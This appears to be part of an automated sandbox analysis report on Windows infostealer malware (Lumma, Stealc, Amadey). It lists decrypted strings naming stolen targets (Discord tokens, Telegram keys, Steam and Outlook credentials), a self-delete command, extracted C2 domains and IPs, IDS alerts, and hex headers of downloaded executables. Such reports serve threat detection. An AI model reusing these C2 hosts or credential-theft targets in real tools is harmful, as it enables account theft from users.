Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - Display Resolution:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: - GPU:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: User Agents:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Installed Apps:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: All Users:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Current User:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Process List:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: system_info.txt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: freebl3.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: mozglue.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: msvcp140.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: nss3.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: softokn3.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: vcruntime140.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Temp\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: .exe
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: runas
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: open
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: /c start
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %DESKTOP%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %APPDATA%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %USERPROFILE%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %DOCUMENTS%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: %RECENT%
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: *.lnk
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: files
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \discord\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Telegram Desktop\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: key_datas
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: map*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Telegram
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Tox
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: *.tox
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: *.ini
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Password
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 00000001
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 00000002
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 00000003
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: 00000004
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Pidgin
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \.purple\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: accounts.xml
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: token:
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Software\Valve\Steam
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: SteamPath
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \config\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ssfn*
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: config.vdf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DialogConfig.vdf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: libraryfolders.vdf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: loginusers.vdf
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Steam\
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: sqlite3.dll
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: done
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: soft
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: https
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: POST
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: HTTP/1.1
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: hwid
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: build
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: token
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: file_name
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: file
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: message
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 4.2.LEDU23VRAEI6A5X1LTGJU.exe.670000.0.unpack	String decryptor: screenshot.jpg

Source: LIWYEYWSOj.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.4:49870 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 24MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49746 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49808 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49783
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49736 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49846 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49852 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49813 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49813 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49737 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49806 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49806 -> 172.67.165.185:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49870 -> 172.67.165.185:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:00:14 GMTContent-Type: application/octet-streamContent-Length: 5242880Last-Modified: Fri, 27 Dec 2024 07:41:34 GMTConnection: keep-aliveETag: "676e5a2e-500000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 10 50 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 50 00 00 04 00 00 74 b3 50 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 90 24 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 a0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 72 68 6e 65 74 70 72 00 40 2b 00 00 c0 24 00 00 34 2b 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 69 74 65 75 63 6e 00 10 00 00 00 00 50 00 00 06 00 00 00 d8 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 50 00 00 22 00 00 00 de 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:00:24 GMTContent-Type: application/octet-streamContent-Length: 3241472Last-Modified: Fri, 27 Dec 2024 07:41:43 GMTConnection: keep-aliveETag: "676e5a37-317600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 31 00 00 04 00 00 ff 37 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 65 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 65 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 75 75 6c 76 6e 66 71 00 c0 2a 00 00 b0 06 00 00 b6 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 72 65 73 77 61 6f 68 00 10 00 00 00 70 31 00 00 06 00 00 00 4e 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 31 00 00 22 00 00 00 54 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:01:10 GMTContent-Type: application/octet-streamContent-Length: 2902528Last-Modified: Fri, 27 Dec 2024 07:41:58 GMTConnection: keep-aliveETag: "676e5a46-2c4a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 10 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2f 00 00 04 00 00 c6 8d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 59 40 05 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 64 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 30 05 00 00 00 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 62 6a 6d 6a 6e 78 79 00 b0 29 00 00 50 05 00 00 ae 29 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 69 78 62 70 69 71 65 00 10 00 00 00 00 2f 00 00 04 00 00 00 24 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 2f 00 00 22 00 00 00 28 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Dec 2024 08:01:43 GMTContent-Type: application/octet-streamContent-Length: 2784256Last-Modified: Fri, 27 Dec 2024 07:39:36 GMTConnection: keep-aliveETag: "676e59b8-2a7c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 